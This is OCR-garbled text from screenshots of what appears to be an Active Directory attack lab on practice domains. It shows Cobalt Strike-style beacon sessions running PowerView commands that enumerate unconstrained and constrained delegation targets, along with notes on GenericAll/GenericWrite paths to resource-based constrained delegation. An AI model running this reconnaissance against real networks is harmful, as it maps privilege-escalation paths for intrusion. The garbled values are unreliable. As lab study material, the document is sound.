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WHITE-BIRD [T] Administrator [TTT11T]

Administrator Properties 7 >

Published Certficates Member Of  Password Replication  Dialin  Ohbject
Security Environment Sessions Remote control
Remote Desktop Services Profile COM+ Attribute Editor

General Address Account Profile Telephones Crganization

Iser logon name:

lUser logan name (pre-Windows 2000):
|WHITE-BIRD\ | |Administrator
Logon Hours.... Log On To...
] Unlock account
Account options:
[ Account is disabled ~
[] Smart card is required for interactive logon
Account is sensitive and cannot be delegated
[ Use only Kerberos DES encryption types for this account ¥
Account expires
(® Never
End of: | Saturday , Aprl 25, 2023

Cancel Aorly Help
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Get-NetComputer -Unconstrained | select dnshostname

beacon> powershell get-netcomputer -unconstrained | select dnshostname

[*] Tasked beacon to run: get-netcomputer -unconstrained | select dnshostname
[+] host called home, sent: 421 bytes

[+] received output:

#< CLIXML

dnshostname

dc0S5,.white-bird. local

(T DC T T T RAVEN-MED [ITTT1T] monO1 [TITTTTTTTIT]

beacon> powershell get-netcomputer -unconstrained -domain raven-med.local | select dnshostname

[*] Tasked beacon to run: get-netcomputer -unconstrained -domain raven-med.local | select dnshostname
[+] host called home, sent: 485 bytes

[+] received output:

#< CLIXML

dnshostname

dc02. raven-med . local
mon@1, raven-med. Local
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Get-NetComputer -TrustedToAuth

Get- NetUser -TrustedToAuth

beacon> powershell get-netcomputer -trustedtoauth | select cn, msds-allowedtodelegateto

[*] Tasked beacon to run: get-netcomputer -trustedtoauth | select cn, msds-allowedtodelegateto
[+] host called home, sent: 465 bytes

[+] received output:

#< CLIXML

cn msds-allowedtodelegateto

WEB0Z {eventlog/dc05.white-bird.local/white-bird.local, eventlog/dc®5.white-bird.local, eventleg/DCO5, eventlog/dc@5...

(WEbO2 [TTTTTITI

ried-factory.local [@eleg exer [TTTTTTTTTTTTI

beacon> powerpick get-netuser -trustedtoauth -domain med-factory.local

[+] host called home, sent: 10 bytes

[*] Tasked beacon to run: get-netuser -trustedtoauth -domain med-factory.local (unmanaged)
[+] host called home, sent: 134767 bytes

[+] received output:

logoncount i 0
badpasswordtime : 12/31/1600 4:00:00 PM
description : Used to practice constrained delegation
distinguishedname § deleg_exer, CN=Users,DC=med-factory, DC=local
objectclass H op, pe , organizationalPerson, user}
name : deleg_exer
objectsid 1 5-1-5-21-22 169-3 62 3- 267575-2602
samaccountname : deleg_exer
codepage
samaccounttype 1 USER_OBJECT
accountexpires : 12/31/1600 4:00:00 PM
countrycode 1 0
whenchanged ; 2:51:01 AN
instancetype
objectguid
lastlogo
lastlogoff
msds-allowedtodelegateto
med-factory.local, eventsystem/DCO
y.local/MED-FACTORY...}
objectcategory : CN=P i ema, CN=Configuration, DC=med-factory,DC=local
dscorepropagationdata : 1/1/1601 12:00:
serviceprincipalname : practice/
whencreated 1 4/14/2023
badpwdcount 1 0
cn : deleg_exer
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GenericWrite
FILEOT.PROD.RAVEN-MED.LOCAL @
DCO1.PROD.RAVEN-MED.LOCAL

n-med,C=local

MT, TRUSTED_FOR_DELEGATION

[IT] File01 ] DcO1 [T] GenericAll [TTTIIIIIII] RBCD
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Advanced Security Settings for DCOT

Ohwner: Domain Admins (PRODVDemain Admins) Change

Permissicns Auditing Effective Access

For additional infermation, deuble-click a permission entry. Te modify a permissicn entry, select the entry and click Edit (if available).

Permisszion entries:

Type Principal
BB Allow  Cert Publishers (PRODACert P...
H% Allow  Print Operators (PRODVPrint ...
SR Allow  Windows Authorization Acce...
HE Allow  Everyone
BB Allow  SELF
SR Allow  SELF
BB Allow  SELF

FILEO1S

Access

Create/delete Printer o...

Change password

Validated write to DNS...
Walidated write to senvi...

Read/write personal in...

Read/write all properties

Inherited from

Mone
Mone
Mone
Mone
Mone
Mone

Mone

Applies to

This ehject only
This chject only
This ehject only
This chject only
This ehject only
This chject only
This ehject only
This chject only

HE Allow  Daomain Admins (PRODVDG... Full control Mone This chject only
HB Allow  SELF Create/delete all child... Mone This object only v
Add Remove Edit Restore defaults
Disable inheritance
Cancel Apply
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